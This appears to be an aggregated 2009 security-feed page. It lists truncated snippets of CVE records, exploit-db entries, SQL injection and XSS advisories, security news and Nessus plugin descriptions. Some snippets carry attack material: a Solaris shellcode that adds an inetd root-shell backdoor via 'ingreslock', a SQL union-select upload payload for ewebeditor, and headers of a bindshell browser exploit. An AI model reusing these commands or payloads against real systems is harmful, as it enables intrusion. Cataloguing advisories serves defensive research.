CVE-2009-1071

creationtimestamp| type| source ---|---|--- 2009-03-18 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/8236 2009-09-10 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/9628...

Port reuse shellcode-exploit warning-the black bar safety net

Port reuse shellcode Author: thorn The hard disk has a lot of use a variety of techniques to achieve the port reuse shellcode, are based on the previous write. Turned out a relatively dwarfish, patch to the here. Want to expand your friends can own change. This shellcode can also be easily extend...

CVE-2009-1038

creationtimestamp| type| source ---|---|--- 2009-03-13 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/8207 2009-03-16 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/8217...

CMS WEBjump! - Multiple SQL Injections

CMS WEBjump! - Multiple SQL Injections +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Powered by Content Management System WEBjump! SQL Injection Vulnerability +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Author : M3NW5 contach :...

CVE-2009-4883

creationtimestamp| type| source ---|---|--- 2009-03-09 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/8182 2009-03-31 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/8330...

Oracle BI Publisher — Response Splitting

Application: Oracle Business Intelligence Enterprise Edition 10.1.3.4.0 Versions Affected: Oracle Business Intelligence Enterprise Edition 10.1.3.4.0 Vendor URL: Bugs: Response Splitting, XSS, Phishing credentials Exploits: YES Reported: 03.03.2009 Vendor response: 04.03.2009 Last response:...

CVE-2009-0037

creationtimestamp| type| source ---|---|--- 2009-03-03 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/32834...

Graugon PHP Article Publisher 1.0 - SQL Injection Cookie Handling

Graugon PHP Article Publisher 1.0 - SQL Injection Cookie Handling 0x01 Informations: Name : Graugon PHP Article Publisher 1.0 Download : http://www.hotscripts.com/listings/jump/download/88458/ Vulnerability : Multiple Sql Injections / Insecure Cookie Handling Author : x0r Contact :...

Graugon PHP Article Publisher 1.0 SQL Injection

0x01 Informations: Name : Graugon PHP Article Publisher 1.0 Download : http://www.hotscripts.com/listings/jump/download/88458/ Vulnerability : Multiple Sql Injections / Insecure Cookie Handling Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged Page: index.ph...

CVE-2009-0885

creationtimestamp| type| source ---|---|--- 2009-03-02 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/8135 2009-03-02 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/8137...

Solaris/x86 - add services and execve inetd - 201 bytes

No description provided by source. / Solaris/x86 Just execve's the following: "echo "ingreslock stream tcp nowait root /bin/sh sh -i"/tmp/x;" "/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x"; for a trivial remote bd. Used in a few old Solaris/x86 remote exploits. / char c0de =...

Graugon PHP Article Publisher 1.0 - SQL Injection / Cookie Handling

0x01 Informations: Name : Graugon PHP Article Publisher 1.0 Download : http://www.hotscripts.com/listings/jump/download/88458/ Vulnerability : Multiple Sql Injections / Insecure Cookie Handling Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged Page: index.ph...

[DSECRG-09-008] JOnAS(4.10.3) - Linked XSS Vulnerability

Digital Security Research Group DSecRG Advisory DSECRG-09-008 ------------------link to original advisory -------------------------- http://www.dsecrg.com/pages/vul/show.php?id=81 Application: JOnAS Java Open Application Server Versions Affected: JOnAS4.10.3 / Apache Tomcat 5.5.26 Vendor URL:...

Adobe under fire for poor security response

In the wake of the zero-day attacks against Adobe’s Acrobat and Reader product lines, the company is taking a lot of flack for its poor response to handling the issue — specifically around communicating the risks and providing migitation guidance for end users. Over on the ZDNet Zero Day blog, I...

Pwn2Own 2009: Browsers and smart phones are targets

TippingPoint’s Zero Day Initiative has released the rules for this year’s CanSecWest PWN2OWN contest, which will target unpatched flaws in Web browsers and mobile devices. Among the target list this year: Microsoft’s Internet Explorer 8, Apple’s Safari, Google’s Chrome, Windows Mobile, Google...

MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2)

Exploit for unknown platform in category remote exploits ==================================================================== MS Internet Explorer 7 Memory Corruption Exploit MS09-002 xp sp2 ==================================================================== // Skyland win32 bindshell 28876/tcp...

Enomaly ECP / Enomalism < 2.2.1 Multiple Local Vulnerabilities

Exploit for multiple platform in category local exploits ============================================================== Enomaly ECP / Enomalism 2.2.1 Multiple Local Vulnerabilities ============================================================== Enomaly ECP/Enomalism: Multiple vulnerabilities in...

ewebeditor asp version 2.1.6 upload exploits procedures-vulnerability warning-the black bar safety net

H1ewebeditor asp version 2.1.6 upload exploits procedures----/H1brbr form action="http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select SID,SName,SDir,SCSS,SUploadDir,SWidth,SHeight,SMemo,SIsSys,SFileExt,SFlashExt,...

Default Password (password) for 'admin' Account

The account 'admin' on the remote host has the password 'password'. An attacker may leverage this issue to gain access, likely as an administrator, to the affected system. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. account = "admin"; password = "password";...

MS KB960715: Cumulative Security Update of ActiveX Kill Bits

The remote host is missing a list of kill bits for ActiveX controls that are known to contain vulnerabilities. If these ActiveX controls are ever installed on the remote host, either now or in the future, they would expose it to various security issues. %NASLMINLEVEL 70300 C Tenable Network...